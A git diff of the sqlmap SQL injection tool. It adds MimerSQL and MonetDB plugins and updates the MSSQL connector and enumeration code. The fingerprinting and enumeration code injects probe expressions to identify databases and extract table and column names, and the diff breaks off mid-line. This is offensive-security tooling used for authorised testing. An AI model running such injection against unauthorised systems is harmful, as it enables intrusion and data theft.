b/plugins/dbms/mimersql/filesystem.py new file mode 100644 index 00000000000..2e61d83c07c --- /dev/null +++ b/plugins/dbms/mimersql/filesystem.py @@ -0,0 +1,11 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from plugins.generic.filesystem import Filesystem as GenericFilesystem + +class Filesystem(GenericFilesystem): + pass diff --git a/plugins/dbms/mimersql/fingerprint.py b/plugins/dbms/mimersql/fingerprint.py new file mode 100644 index 00000000000..3372a8fe7b0 --- /dev/null +++ b/plugins/dbms/mimersql/fingerprint.py @@ -0,0 +1,94 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.common import Backend +from lib.core.common import Format +from lib.core.data import conf +from lib.core.data import kb +from lib.core.data import logger +from lib.core.enums import DBMS +from lib.core.session import setDbms +from lib.core.settings import MIMERSQL_ALIASES +from lib.request import inject +from plugins.generic.fingerprint import Fingerprint as GenericFingerprint + +class Fingerprint(GenericFingerprint): + def __init__(self): + GenericFingerprint.__init__(self, DBMS.MIMERSQL) + + def getFingerprint(self): + value = "" + wsOsFp = Format.getOs("web server", kb.headersFp) + + if wsOsFp: + value += "%s\n" % wsOsFp + + if kb.data.banner: + dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp) + + if dbmsOsFp: + value += "%s\n" % dbmsOsFp + + value += "back-end DBMS: " + + if not conf.extensiveFp: + value += DBMS.MIMERSQL + return value + + actVer = Format.getDbms() + blank = " " * 15 + value += "active fingerprint: %s" % actVer + + if kb.bannerFp: + banVer = kb.bannerFp.get("dbmsVersion") + + if banVer: + banVer = Format.getDbms([banVer]) + value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) + + htmlErrorFp = Format.getErrorParsedDBMSes() + + if htmlErrorFp: + value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp) + + return value + + def checkDbms(self): + if not conf.extensiveFp and Backend.isDbmsWithin(MIMERSQL_ALIASES): + setDbms(DBMS.MIMERSQL) + + self.getBanner() + + return True + + infoMsg = "testing %s" % DBMS.MIMERSQL + logger.info(infoMsg) + + result = inject.checkBooleanExpression("IRAND() IS NOT NULL") + + if result: + infoMsg = "confirming %s" % DBMS.MIMERSQL + logger.info(infoMsg) + + result = inject.checkBooleanExpression("PASTE('[RANDSTR1]',0,0,'[RANDSTR2]')='[RANDSTR2][RANDSTR1]'") + + if not result: + warnMsg = "the back-end DBMS is not %s" % DBMS.MIMERSQL + logger.warning(warnMsg) + + return False + + setDbms(DBMS.MIMERSQL) + + self.getBanner() + + return True + else: + warnMsg = "the back-end DBMS is not %s" % DBMS.MIMERSQL + logger.warning(warnMsg) + + return False diff --git a/plugins/dbms/mimersql/syntax.py b/plugins/dbms/mimersql/syntax.py new file mode 100644 index 00000000000..8257c9af870 --- /dev/null +++ b/plugins/dbms/mimersql/syntax.py @@ -0,0 +1,23 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.convert import getOrds +from plugins.generic.syntax import Syntax as GenericSyntax + +class Syntax(GenericSyntax): + @staticmethod + def escape(expression, quote=True): + """ + >>> from lib.core.common import Backend + >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == "SELECT UNICODE_CHAR(97)||UNICODE_CHAR(98)||UNICODE_CHAR(99)||UNICODE_CHAR(100)||UNICODE_CHAR(101)||UNICODE_CHAR(102)||UNICODE_CHAR(103)||UNICODE_CHAR(104) FROM foobar" + True + """ + + def escaper(value): + return "||".join("UNICODE_CHAR(%d)" % _ for _ in getOrds(value)) + + return Syntax._escape(expression, quote, escaper) diff --git a/plugins/dbms/mimersql/takeover.py b/plugins/dbms/mimersql/takeover.py new file mode 100644 index 00000000000..7055371b8c5 --- /dev/null +++ b/plugins/dbms/mimersql/takeover.py @@ -0,0 +1,28 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.exception import SqlmapUnsupportedFeatureException +from plugins.generic.takeover import Takeover as GenericTakeover + +class Takeover(GenericTakeover): + def osCmd(self): + errMsg = "on MimerSQL it is not possible to execute commands" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osShell(self): + errMsg = "on MimerSQL it is not possible to execute commands" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osPwn(self): + errMsg = "on MimerSQL it is not possible to establish an " + errMsg += "out-of-band connection" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osSmb(self): + errMsg = "on MimerSQL it is not possible to establish an " + errMsg += "out-of-band connection" + raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/dbms/monetdb/__init__.py b/plugins/dbms/monetdb/__init__.py new file mode 100644 index 00000000000..200b23b290f --- /dev/null +++ b/plugins/dbms/monetdb/__init__.py @@ -0,0 +1,30 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.enums import DBMS +from lib.core.settings import MONETDB_SYSTEM_DBS +from lib.core.unescaper import unescaper + +from plugins.dbms.monetdb.enumeration import Enumeration +from plugins.dbms.monetdb.filesystem import Filesystem +from plugins.dbms.monetdb.fingerprint import Fingerprint +from plugins.dbms.monetdb.syntax import Syntax +from plugins.dbms.monetdb.takeover import Takeover +from plugins.generic.misc import Miscellaneous + +class MonetDBMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): + """ + This class defines MonetDB methods + """ + + def __init__(self): + self.excludeDbsList = MONETDB_SYSTEM_DBS + + for cls in self.__class__.__bases__: + cls.__init__(self) + + unescaper[DBMS.MONETDB] = Syntax.escape diff --git a/plugins/dbms/monetdb/connector.py b/plugins/dbms/monetdb/connector.py new file mode 100644 index 00000000000..66a6bcdf8eb --- /dev/null +++ b/plugins/dbms/monetdb/connector.py @@ -0,0 +1,59 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +try: + import pymonetdb +except: + pass + +import logging + +from lib.core.common import getSafeExString +from lib.core.data import conf +from lib.core.data import logger +from lib.core.exception import SqlmapConnectionException +from plugins.generic.connector import Connector as GenericConnector + +class Connector(GenericConnector): + """ + Homepage: https://github.com/gijzelaerr/pymonetdb + User guide: https://pymonetdb.readthedocs.io/en/latest/index.html + API: https://www.python.org/dev/peps/pep-0249/ + License: Mozilla Public License 2.0 + """ + + def connect(self): + self.initConnection() + + try: + self.connector = pymonetdb.connect(hostname=self.hostname, username=self.user, password=self.password, database=self.db, port=self.port, connect_timeout=conf.timeout) + except pymonetdb.OperationalError as ex: + raise SqlmapConnectionException(getSafeExString(ex)) + + self.initCursor() + self.printConnected() + + def fetchall(self): + try: + return self.cursor.fetchall() + except pymonetdb.ProgrammingError as ex: + logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(ex)) + return None + + def execute(self, query): + try: + self.cursor.execute(query) + except (pymonetdb.OperationalError, pymonetdb.ProgrammingError) as ex: + logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(ex)) + except pymonetdb.InternalError as ex: + raise SqlmapConnectionException(getSafeExString(ex)) + + self.connector.commit() + + def select(self, query): + self.execute(query) + return self.fetchall() diff --git a/plugins/dbms/monetdb/enumeration.py b/plugins/dbms/monetdb/enumeration.py new file mode 100644 index 00000000000..8634adab8d6 --- /dev/null +++ b/plugins/dbms/monetdb/enumeration.py @@ -0,0 +1,38 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.data import logger +from plugins.generic.enumeration import Enumeration as GenericEnumeration + +class Enumeration(GenericEnumeration): + def getPasswordHashes(self): + warnMsg = "on MonetDB it is not possible to enumerate password hashes" + logger.warning(warnMsg) + + return {} + + def getStatements(self): + warnMsg = "on MonetDB it is not possible to enumerate the SQL statements" + logger.warning(warnMsg) + + return [] + + def getPrivileges(self, *args, **kwargs): + warnMsg = "on MonetDB it is not possible to enumerate the user privileges" + logger.warning(warnMsg) + + return {} + + def getRoles(self, *args, **kwargs): + warnMsg = "on MonetDB it is not possible to enumerate the user roles" + logger.warning(warnMsg) + + return {} + + def getHostname(self): + warnMsg = "on MonetDB it is not possible to enumerate the hostname" + logger.warning(warnMsg) diff --git a/plugins/dbms/monetdb/filesystem.py b/plugins/dbms/monetdb/filesystem.py new file mode 100644 index 00000000000..2e61d83c07c --- /dev/null +++ b/plugins/dbms/monetdb/filesystem.py @@ -0,0 +1,11 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from plugins.generic.filesystem import Filesystem as GenericFilesystem + +class Filesystem(GenericFilesystem): + pass diff --git a/plugins/dbms/monetdb/fingerprint.py b/plugins/dbms/monetdb/fingerprint.py new file mode 100644 index 00000000000..83c065d18b4 --- /dev/null +++ b/plugins/dbms/monetdb/fingerprint.py @@ -0,0 +1,94 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.common import Backend +from lib.core.common import Format +from lib.core.data import conf +from lib.core.data import kb +from lib.core.data import logger +from lib.core.enums import DBMS +from lib.core.session import setDbms +from lib.core.settings import MONETDB_ALIASES +from lib.request import inject +from plugins.generic.fingerprint import Fingerprint as GenericFingerprint + +class Fingerprint(GenericFingerprint): + def __init__(self): + GenericFingerprint.__init__(self, DBMS.MONETDB) + + def getFingerprint(self): + value = "" + wsOsFp = Format.getOs("web server", kb.headersFp) + + if wsOsFp: + value += "%s\n" % wsOsFp + + if kb.data.banner: + dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp) + + if dbmsOsFp: + value += "%s\n" % dbmsOsFp + + value += "back-end DBMS: " + + if not conf.extensiveFp: + value += DBMS.MONETDB + return value + + actVer = Format.getDbms() + blank = " " * 15 + value += "active fingerprint: %s" % actVer + + if kb.bannerFp: + banVer = kb.bannerFp.get("dbmsVersion") + + if banVer: + banVer = Format.getDbms([banVer]) + value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) + + htmlErrorFp = Format.getErrorParsedDBMSes() + + if htmlErrorFp: + value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp) + + return value + + def checkDbms(self): + if not conf.extensiveFp and Backend.isDbmsWithin(MONETDB_ALIASES): + setDbms(DBMS.MONETDB) + + self.getBanner() + + return True + + infoMsg = "testing %s" % DBMS.MONETDB + logger.info(infoMsg) + + result = inject.checkBooleanExpression("isaurl(NULL)=false") + + if result: + infoMsg = "confirming %s" % DBMS.MONETDB + logger.info(infoMsg) + + result = inject.checkBooleanExpression("CODE(0) IS NOT NULL") + + if not result: + warnMsg = "the back-end DBMS is not %s" % DBMS.MONETDB + logger.warning(warnMsg) + + return False + + setDbms(DBMS.MONETDB) + + self.getBanner() + + return True + else: + warnMsg = "the back-end DBMS is not %s" % DBMS.MONETDB + logger.warning(warnMsg) + + return False diff --git a/plugins/dbms/monetdb/syntax.py b/plugins/dbms/monetdb/syntax.py new file mode 100644 index 00000000000..e93396d6e9f --- /dev/null +++ b/plugins/dbms/monetdb/syntax.py @@ -0,0 +1,23 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.convert import getOrds +from plugins.generic.syntax import Syntax as GenericSyntax + +class Syntax(GenericSyntax): + @staticmethod + def escape(expression, quote=True): + """ + >>> from lib.core.common import Backend + >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == "SELECT CODE(97)||CODE(98)||CODE(99)||CODE(100)||CODE(101)||CODE(102)||CODE(103)||CODE(104) FROM foobar" + True + """ + + def escaper(value): + return "||".join("CODE(%d)" % _ for _ in getOrds(value)) + + return Syntax._escape(expression, quote, escaper) diff --git a/plugins/dbms/monetdb/takeover.py b/plugins/dbms/monetdb/takeover.py new file mode 100644 index 00000000000..bf0fa25305c --- /dev/null +++ b/plugins/dbms/monetdb/takeover.py @@ -0,0 +1,28 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.exception import SqlmapUnsupportedFeatureException +from plugins.generic.takeover import Takeover as GenericTakeover + +class Takeover(GenericTakeover): + def osCmd(self): + errMsg = "on MonetDB it is not possible to execute commands" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osShell(self): + errMsg = "on MonetDB it is not possible to execute commands" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osPwn(self): + errMsg = "on MonetDB it is not possible to establish an " + errMsg += "out-of-band connection" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osSmb(self): + errMsg = "on MonetDB it is not possible to establish an " + errMsg += "out-of-band connection" + raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/dbms/mssqlserver/__init__.py b/plugins/dbms/mssqlserver/__init__.py index 9b25e1758b1..e19a115f887 100644 --- a/plugins/dbms/mssqlserver/__init__.py +++ b/plugins/dbms/mssqlserver/__init__.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ from lib.core.enums import DBMS @@ -15,7 +15,6 @@ from plugins.dbms.mssqlserver.takeover import Takeover from plugins.generic.misc import Miscellaneous - class MSSQLServerMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): """ This class defines Microsoft SQL Server methods @@ -24,11 +23,7 @@ class MSSQLServerMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous def __init__(self): self.excludeDbsList = MSSQL_SYSTEM_DBS - Syntax.__init__(self) - Fingerprint.__init__(self) - Enumeration.__init__(self) - Filesystem.__init__(self) - Miscellaneous.__init__(self) - Takeover.__init__(self) + for cls in self.__class__.__bases__: + cls.__init__(self) - unescaper[DBMS.MSSQL] = Syntax.unescape + unescaper[DBMS.MSSQL] = Syntax.escape diff --git a/plugins/dbms/mssqlserver/connector.py b/plugins/dbms/mssqlserver/connector.py index 887d2be24ed..f49cabaa646 100644 --- a/plugins/dbms/mssqlserver/connector.py +++ b/plugins/dbms/mssqlserver/connector.py @@ -1,27 +1,30 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ try: import _mssql import pymssql -except ImportError, _: +except: pass -from lib.core.convert import utf8encode +import logging + +from lib.core.common import getSafeExString +from lib.core.convert import getText from lib.core.data import conf from lib.core.data import logger -from lib.core.exception import sqlmapConnectionException +from lib.core.exception import SqlmapConnectionException from plugins.generic.connector import Connector as GenericConnector class Connector(GenericConnector): """ - Homepage: http://pymssql.sourceforge.net/ - User guide: http://pymssql.sourceforge.net/examples_pymssql.php - API: http://pymssql.sourceforge.net/ref_pymssql.php + Homepage: http://www.pymssql.org/en/stable/ + User guide: http://www.pymssql.org/en/stable/pymssql_examples.html + API: http://www.pymssql.org/en/stable/ref/pymssql.html Debian package: python-pymssql License: LGPL @@ -31,37 +34,36 @@ class Connector(GenericConnector): to work, get it from http://sourceforge.net/projects/pymssql/files/pymssql/1.0.2/ """ - def __init__(self): - GenericConnector.__init__(self) - def connect(self): self.initConnection() try: self.connector = pymssql.connect(host="%s:%d" % (self.hostname, self.port), user=self.user, password=self.password, database=self.db, login_timeout=conf.timeout, timeout=conf.timeout) - except pymssql.OperationalError, msg: - raise sqlmapConnectionException, msg + except (pymssql.Error, _mssql.MssqlDatabaseException) as ex: + raise SqlmapConnectionException(getSafeExString(ex)) + except ValueError: + raise SqlmapConnectionException - self.setCursor() - self.connected() + self.initCursor() + self.printConnected() def fetchall(self): try: return self.cursor.fetchall() - except (pymssql.ProgrammingError, pymssql.OperationalError, _mssql.MssqlDatabaseException), msg: - logger.warn("(remote) %s" % str(msg).replace("\n", " ")) + except (pymssql.Error, _mssql.MssqlDatabaseException) as ex: + logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) '%s'" % getSafeExString(ex).replace("\n", " ")) return None def execute(self, query): retVal = False try: - self.cursor.execute(utf8encode(query)) + self.cursor.execute(getText(query)) retVal = True - except (pymssql.OperationalError, pymssql.ProgrammingError), msg: - logger.warn("(remote) %s" % str(msg).replace("\n", " ")) - except pymssql.InternalError, msg: - raise sqlmapConnectionException, msg + except (pymssql.OperationalError, pymssql.ProgrammingError) as ex: + logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) '%s'" % getSafeExString(ex).replace("\n", " ")) + except pymssql.InternalError as ex: + raise SqlmapConnectionException(getSafeExString(ex)) return retVal diff --git a/plugins/dbms/mssqlserver/enumeration.py b/plugins/dbms/mssqlserver/enumeration.py index 048894acdd0..28de4c5d672 100644 --- a/plugins/dbms/mssqlserver/enumeration.py +++ b/plugins/dbms/mssqlserver/enumeration.py @@ -1,54 +1,59 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ +import re + from lib.core.agent import agent from lib.core.common import arrayizeValue -from lib.core.common import Backend from lib.core.common import getLimitRange from lib.core.common import isInferenceAvailable from lib.core.common import isNoneValue from lib.core.common import isNumPosStrValue from lib.core.common import isTechniqueAvailable from lib.core.common import safeSQLIdentificatorNaming +from lib.core.common import safeStringFormat +from lib.core.common import singleTimeLogMessage +from lib.core.common import unArrayizeValue from lib.core.common import unsafeSQLIdentificatorNaming +from lib.core.compat import xrange from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.data import queries from lib.core.enums import CHARSET_TYPE +from lib.core.enums import DBMS from lib.core.enums import EXPECTED from lib.core.enums import PAYLOAD -from lib.core.exception import sqlmapNoneDataException +from lib.core.exception import SqlmapNoneDataException from lib.core.settings import CURRENT_DB from lib.request import inject - from plugins.generic.enumeration import Enumeration as GenericEnumeration +from thirdparty import six class Enumeration(GenericEnumeration): - def __init__(self): - GenericEnumeration.__init__(self) - - def getPrivileges(self, *args): + def getPrivileges(self, *args, **kwargs): warnMsg = "on Microsoft SQL Server it is not possible to fetch " warnMsg += "database users privileges, sqlmap will check whether " warnMsg += "or not the database users are database administrators" - logger.warn(warnMsg) + logger.warning(warnMsg) users = [] areAdmins = set() if conf.user: - users = [ conf.user ] + users = [conf.user] elif not len(kb.data.cachedUsers): users = self.getUsers() else: users = kb.data.cachedUsers for user in users: + user = unArrayizeValue(user) + if user is None: continue @@ -59,7 +64,7 @@ def getPrivileges(self, *args): kb.data.cachedUsersPrivileges[user] = None - return ( kb.data.cachedUsersPrivileges, areAdmins ) + return (kb.data.cachedUsersPrivileges, areAdmins) def getTables(self): if len(kb.data.cachedTables) > 0: @@ -71,46 +76,54 @@ def getTables(self): conf.db = self.getCurrentDb() if conf.db: - dbs = conf.db.split(",") + dbs = conf.db.split(',') else: dbs = self.getDbs() for db in dbs: dbs[dbs.index(db)] = safeSQLIdentificatorNaming(db) - dbs = filter(None, dbs) + dbs = [_ for _ in dbs if _] infoMsg = "fetching tables for database" - infoMsg += "%s: %s" % ("s" if len(dbs) > 1 else "", ", ".join(db if isinstance(db, basestring) else db[0] for db in sorted(dbs))) + infoMsg += "%s: %s" % ("s" if len(dbs) > 1 else "", ", ".join(db if isinstance(db, six.string_types) else db[0] for db in sorted(dbs))) logger.info(infoMsg) - rootQuery = queries[Backend.getIdentifiedDbms()].tables + rootQuery = queries[DBMS.MSSQL].tables - if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR)) or conf.direct: + if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct: for db in dbs: if conf.excludeSysDbs and db in self.excludeDbsList: infoMsg = "skipping system database '%s'" % db - logger.info(infoMsg) + singleTimeLogMessage(infoMsg) + continue + if conf.exclude and re.search(conf.exclude, db, re.I) is not None: + infoMsg = "skipping database '%s'" % db + singleTimeLogMessage(infoMsg) continue for query in (rootQuery.inband.query, rootQuery.inband.query2, rootQuery.inband.query3): query = query.replace("%s", db) - value = inject.getValue(query, blind=False) + value = inject.getValue(query, blind=False, time=False) if not isNoneValue(value): break if not isNoneValue(value): - value = filter(None, arrayizeValue(value)) - value = [safeSQLIdentificatorNaming(_, True) for _ in value] + value = [_ for _ in arrayizeValue(value) if _] + value = [safeSQLIdentificatorNaming(unArrayizeValue(_), True) for _ in value] kb.data.cachedTables[db] = value if not kb.data.cachedTables and isInferenceAvailable() and not conf.direct: for db in dbs: if conf.excludeSysDbs and db in self.excludeDbsList: infoMsg = "skipping system database '%s'" % db - logger.info(infoMsg) + singleTimeLogMessage(infoMsg) + continue + if conf.exclude and re.search(conf.exclude, db, re.I) is not None: + infoMsg = "skipping database '%s'" % db + singleTimeLogMessage(infoMsg) continue infoMsg = "fetching number of tables for " @@ -119,7 +132,7 @@ def getTables(self): for query in (rootQuery.blind.count, rootQuery.blind.count2, rootQuery.blind.count3): _ = query.replace("%s", db) - count = inject.getValue(_, inband=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) + count = inject.getValue(_, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) if not isNoneValue(count): break @@ -127,15 +140,15 @@ def getTables(self): if count != 0: warnMsg = "unable to retrieve the number of " warnMsg += "tables for database '%s'" % db - logger.warn(warnMsg) + logger.warning(warnMsg) continue tables = [] for index in xrange(int(count)): - _ = (rootQuery.blind.query if query == rootQuery.blind.count else rootQuery.blind.query2 if query == rootQuery.blind.count2 else rootQuery.blind.query3).replace("%s", db) % index + _ = safeStringFormat((rootQuery.blind.query if query == rootQuery.blind.count else rootQuery.blind.query2 if query == rootQuery.blind.count2 else rootQuery.blind.query3).replace("%s", db), index) - table = inject.getValue(_, inband=False, error=False) + table = inject.getValue(_, union=False, error=False) if not isNoneValue(table): kb.hintValue = table table = safeSQLIdentificatorNaming(table, True) @@ -146,11 +159,11 @@ def getTables(self): else: warnMsg = "unable to retrieve the tables " warnMsg += "for database '%s'" % db - logger.warn(warnMsg) + logger.warning(warnMsg) - if not kb.data.cachedTables: + if not kb.data.cachedTables and not conf.search: errMsg = "unable to retrieve the tables for any database" - raise sqlmapNoneDataException(errMsg) + raise SqlmapNoneDataException(errMsg) else: for db, tables in kb.data.cachedTables.items(): kb.data.cachedTables[db] = sorted(tables) if tables else tables @@ -158,15 +171,18 @@ def getTables(self): return kb.data.cachedTables def searchTable(self): - rootQuery = queries[Backend.getIdentifiedDbms()].search_table foundTbls = {} - tblList = conf.tbl.split(",") + tblList = conf.tbl.split(',') + rootQuery = queries[DBMS.MSSQL].search_table tblCond = rootQuery.inband.condition - #dbCond = rootQuery.inband.condition2 - tblConsider, tblCondParam = self.likeOrExact("table") - if not len(kb.data.cachedDbs): + if conf.db == CURRENT_DB: + conf.db = self.getCurrentDb() + + if conf.db: + enumDbs = conf.db.split(',') + elif not len(kb.data.cachedDbs): enumDbs = self.getDbs() else: enumDbs = kb.data.cachedDbs @@ -180,7 +196,7 @@ def searchTable(self): infoMsg = "searching table" if tblConsider == "1": - infoMsg += "s like" + infoMsg += "s LIKE" infoMsg += " '%s'" % unsafeSQLIdentificatorNaming(tbl) logger.info(infoMsg) @@ -192,18 +208,22 @@ def searchTable(self): if conf.excludeSysDbs and db in self.excludeDbsList: infoMsg = "skipping system database '%s'" % db - logger.info(infoMsg) + singleTimeLogMessage(infoMsg) + continue + if conf.exclude and re.search(conf.exclude, db, re.I) is not None: + infoMsg = "skipping database '%s'" % db + singleTimeLogMessage(infoMsg) continue - if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR)) or conf.direct: + if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct: query = rootQuery.inband.query.replace("%s", db) query += tblQuery - values = inject.getValue(query, blind=False) + values = inject.getValue(query, blind=False, time=False) if not isNoneValue(values): - if isinstance(values, basestring): - values = [ values ] + if isinstance(values, six.string_types): + values = [values] for foundTbl in values: if foundTbl is None: @@ -213,22 +233,22 @@ def searchTable(self): else: infoMsg = "fetching number of table" if tblConsider == "1": - infoMsg += "s like" + infoMsg += "s LIKE" infoMsg += " '%s' in database '%s'" % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(db)) logger.info(infoMsg) query = rootQuery.blind.count query = query.replace("%s", db) query += " AND %s" % tblQuery - count = inject.getValue(query, inband=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) + count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) if not isNumPosStrValue(count): warnMsg = "no table" if tblConsider == "1": - warnMsg += "s like" + warnMsg += "s LIKE" warnMsg += " '%s' " % unsafeSQLIdentificatorNaming(tbl) warnMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(db) - logger.warn(warnMsg) + logger.warning(warnMsg) continue @@ -239,26 +259,45 @@ def searchTable(self): query = query.replace("%s", db) query += " AND %s" % tblQuery query = agent.limitQuery(index, query, tblCond) - tbl = inject.getValue(query, inband=False, error=False) + tbl = inject.getValue(query, union=False, error=False) kb.hintValue = tbl foundTbls[db].append(tbl) - for db, tbls in foundTbls.items(): + for db, tbls in list(foundTbls.items()): if len(tbls) == 0: foundTbls.pop(db) - return foundTbls + if not foundTbls: + warnMsg = "no databases contain any of the provided tables" + logger.warning(warnMsg) + return + + conf.dumper.dbTables(foundTbls) + self.dumpFoundTables(foundTbls) def searchColumn(self): - rootQuery = queries[Backend.getIdentifiedDbms()].search_column + rootQuery = queries[DBMS.MSSQL].search_column foundCols = {} dbs = {} - colList = conf.col.split(",") + whereTblsQuery = "" + infoMsgTbl = "" + infoMsgDb = "" + colList = conf.col.split(',') + + if conf.exclude: + colList = [_ for _ in colList if re.search(conf.exclude, _, re.I) is None] + + origTbl = conf.tbl + origDb = conf.db colCond = rootQuery.inband.condition + tblCond = rootQuery.inband.condition2 colConsider, colCondParam = self.likeOrExact("column") - if conf.db is not None: - enumDbs = conf.db.split(",") + if conf.db == CURRENT_DB: + conf.db = self.getCurrentDb() + + if conf.db: + enumDbs = conf.db.split(',') elif not len(kb.data.cachedDbs): enumDbs = self.getDbs() else: @@ -270,38 +309,58 @@ def searchColumn(self): for column in colList: column = safeSQLIdentificatorNaming(column) + conf.db = origDb + conf.tbl = origTbl infoMsg = "searching column" if colConsider == "1": - infoMsg += "s like" + infoMsg += "s LIKE" infoMsg += " '%s'" % unsafeSQLIdentificatorNaming(column) - logger.info(infoMsg) foundCols[column] = {} + if conf.tbl: + _ = conf.tbl.split(',') + whereTblsQuery = " AND (" + " OR ".join("%s = '%s'" % (tblCond, unsafeSQLIdentificatorNaming(tbl)) for tbl in _) + ")" + infoMsgTbl = " for table%s '%s'" % ("s" if len(_) > 1 else "", ", ".join(tbl for tbl in _)) + + if conf.db == CURRENT_DB: + conf.db = self.getCurrentDb() + + if conf.db: + _ = conf.db.split(',') + infoMsgDb = " in database%s '%s'" % ("s" if len(_) > 1 else "", ", ".join(db for db in _)) + elif conf.excludeSysDbs: + infoMsgDb = " not in system database%s '%s'" % ("s" if len(self.excludeDbsList) > 1 else "", ", ".join(db for db in self.excludeDbsList)) + else: + infoMsgDb = " across all databases" + + logger.info("%s%s%s" % (infoMsg, infoMsgTbl, infoMsgDb)) + colQuery = "%s%s" % (colCond, colCondParam) colQuery = colQuery % unsafeSQLIdentificatorNaming(column) - for db in dbs.keys(): + for db in (_ for _ in dbs if _): db = safeSQLIdentificatorNaming(db) if conf.excludeSysDbs and db in self.excludeDbsList: - infoMsg = "skipping system database '%s'" % db - logger.info(infoMsg) + continue + if conf.exclude and re.search(conf.exclude, db, re.I) is not None: continue - if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR)) or conf.direct: + if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct: query = rootQuery.inband.query % (db, db, db, db, db, db) query += " AND %s" % colQuery.replace("[DB]", db) - values = inject.getValue(query, blind=False) + query += whereTblsQuery.replace("[DB]", db) + values = inject.getValue(query, blind=False, time=False) if not isNoneValue(values): - if isinstance(values, basestring): - values = [ values ] + if isinstance(values, six.string_types): + values = [values] for foundTbl in values: - foundTbl = safeSQLIdentificatorNaming(foundTbl, True) + foundTbl = safeSQLIdentificatorNaming(unArrayizeValue(foundTbl), True) if foundTbl is None: continue @@ -309,16 +368,16 @@ def searchColumn(self): if foundTbl not in dbs[db]: dbs[db][foundTbl] = {} - if colConsider == "1": + if colConsider == 